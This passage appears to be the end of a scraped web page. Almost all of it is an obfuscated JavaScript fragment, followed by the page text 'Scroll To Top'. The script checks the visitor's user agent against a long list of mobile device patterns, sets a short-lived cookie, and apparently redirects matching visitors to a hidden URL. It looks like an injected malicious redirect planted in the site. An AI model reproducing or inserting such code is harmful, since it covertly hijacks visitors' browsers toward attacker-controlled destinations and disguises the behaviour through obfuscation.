)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Scroll To Top